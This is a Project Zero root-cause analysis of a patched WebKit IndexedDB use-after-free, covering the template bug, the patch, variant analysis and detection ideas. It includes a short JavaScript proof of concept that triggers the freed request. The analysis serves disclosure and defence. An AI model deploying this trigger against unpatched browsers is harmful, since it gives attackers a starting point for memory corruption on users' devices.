Maddie Stone, Google Project Zero

The Basics

Disclosure or Patch Date: 13 September 2021

Product: Apple WebKit

Advisory: https://support.apple.com/en-us/HT212808

Affected Versions: pre-Safari 14.1.2, pre-iOS 14.8

First Patched Version: Safari 14.1.2, iOS 14.8

Issue/Bug Report: https://bugs.webkit.org/show_bug.cgi?id=229375

Patch CL: https://trac.webkit.org/changeset/281384/webkit

Bug-Introducing CL: ??

Reporter(s): Anonymous

The Code

Proof-of-concept:

index.html

<html> 
    <script>
        w = new Worker('idbworker.js');
    </script>
</html>

idbworker.js

function freememory() {
    for (var i = 0; i < 1000; i++) {
        a = new Uint8Array(1024*1024);
    }
}

let ev = new Event('mine');
let req = indexedDB.open('db');
req.dispatchEvent(ev);
req = 0;
ev = 0;
freememory();

Exploit sample: N/A

Did you have access to the exploit sample when doing the analysis? No

The Vulnerability

Bug class: Use-after-free

Vulnerability details: There is a use-after-free of the IDBOpenDBRequest due to a cross-thread task using a raw reference. IDBRequest is the base class of IDBOpenDBRequest. The state of the IDBRequest is able to be changed in dispatchEvent by a script-generated custom event, which leads to the IDBRequest being freed too early and thus the use-after-free.

Prior to this vulnerability being fixed, there were two template options for the createCrossThreadTask function:

  1. The callee object is a derived class of ThreadSafeRefCounted<T> so the cross-thread task will use a RefPtr for the callee (source):
template<typename T, typename std::enable_if<std::is_base_of<ThreadSafeRefCounted<T>, T>::value, int>::type = 0, typename... Parameters, typename... Arguments>
CrossThreadTask createCrossThreadTask(T& callee, void (T::*method)(Parameters...), const Arguments&... arguments)
{
    return CrossThreadTask([callee = makeRefPtr(&callee), method, arguments = std::make_tuple(crossThreadCopy(arguments)...)]() mutable {
        callMemberFunctionForCrossThreadTask(callee.get(), method, WTFMove(arguments));
    });
}
  1. The callee object is NOT a derived class of ThreadSafeRefCounted<T> so the cross-thread task will use a raw reference for the callee (source):
template<typename T, typename std::enable_if<!std::is_base_of<ThreadSafeRefCounted<T>, T>::value, int>::type = 0, typename... Parameters, typename... Arguments>
CrossThreadTask createCrossThreadTask(T& callee, void (T::*method)(Parameters...), const Arguments&... arguments)
{
    return CrossThreadTask([callee = &callee, method, arguments = std::make_tuple(crossThreadCopy(arguments)...)]() mutable {
        callMemberFunctionForCrossThreadTask(callee, method, WTFMove(arguments));
    });
}

To trigger this vulnerability, we're using a callee object of IDBOpenDBRequest. IDBOpenDBRequest is a derived class from IDBRequest (IDBOpenDBRequest.h#L35). IDBRequest is a derived class from ThreadSafeRefCounted<IDBRequest> (IDBRequest.h#L63).

While the intention was that an IDBOpenDBRequest callee would use template #1, the RefPtr, #2 was actually used because IDBOpenDBRequest is not derived from ThreadSafeRefCounted<IDBOpenDBRequest>, it's actually derived from ThreadSafeRefCounted<IDBRequest>. Therefore #2 with the raw reference was used.

Patch analysis:

There are two parts to the patch:

  1. In IDBRequest::dispatchEvent a check is added to only change the state of the request if the event is trusted, i.e. internally generated.
  2. In CrossThreadTask::createCrossThreadTask the template is modified to ensure that the callee object, in this case the IDBOpenDBRequest, is a RefPtr and therefore protected, rather than being a raw reference. This is done by changing the templates to use ThreadSafeRefCountedBase instead of ThreadSafeRefCounted<T>.

Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):

This bug was most likely found via fuzzing. The trigger for this vulnerability uses all common patterns that would be known to most fuzzers. It is also possible though that the attackers found the vulnerability after seeing the similar Chrome & WebKit bugs.

(Historical/present/future) context of bug:

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)

Exploit strategy (or strategies):

N/A no access to exploit sample

Exploit flow:

Known cases of the same exploit flow:

Part of an exploit chain?

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):

  1. Check whether other dispatchEvent functions change state based on non-trusted (custom/script-generated) events.
  2. Check whether tasks that take place in threads other than the origin thread use raw references or pointers.
  3. General auditing of IndexedDB code.

Found variants: N/A

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?

Ideas to kill the bug class:

  • Memory Tagging could potentially prevent this use-after-free.

Ideas to mitigate the exploit flow: N/A

Other potential improvements:

0-day detection methods

These may have high rates of false positives, but here are some ideas for detecting:

  • Looking for scripts that have functions specifically to trigger garbage collection.
  • Dispatching custom events to IndexedDB objects.

Other References